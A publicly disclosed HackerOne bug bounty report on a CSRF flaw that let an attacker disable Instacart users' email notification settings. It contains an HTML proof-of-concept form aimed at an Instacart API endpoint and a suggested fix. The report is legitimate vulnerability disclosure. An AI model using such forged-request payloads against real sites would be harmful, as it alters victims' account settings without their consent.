HexBrain
Open on HackerOneSign in

Instacart · Report #157956

CSRF To change Email Notification Settings

Validstatus
8upvotes
15 Sept 2016disclosed

Summary

Thanks @Instacart For The Bounty And Thanks to @anf and @hitomikt For Fixing this

How it was found

Hi i found CSRF To change Email Notification Settings

The Code Of the HTML Page ::

<html> <body> <form action="https://www.instacart.com/api/v2/email_settings/76/disable?resource_token="> <input type="submit" value="Submit form" /> </form> </body> </html>

For Fixing you Must add CSEF Token to the Request

i attached Video Showing the Bug

Thanks

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original